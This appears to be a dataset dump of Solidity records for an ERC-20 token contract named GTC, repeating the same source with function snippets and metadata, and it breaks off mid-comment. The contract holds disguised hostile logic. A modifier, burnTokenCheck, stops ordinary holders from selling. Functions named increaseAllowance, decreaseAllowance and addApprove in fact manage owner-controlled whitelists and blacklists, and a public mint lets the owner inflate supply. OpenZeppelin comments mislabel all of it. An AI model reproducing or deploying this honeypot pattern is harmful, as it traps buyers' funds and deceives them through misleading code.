*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | addApprove | function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
6798,
7082
]
} | 8,897 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
7569,
8117
]
} | 8,898 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
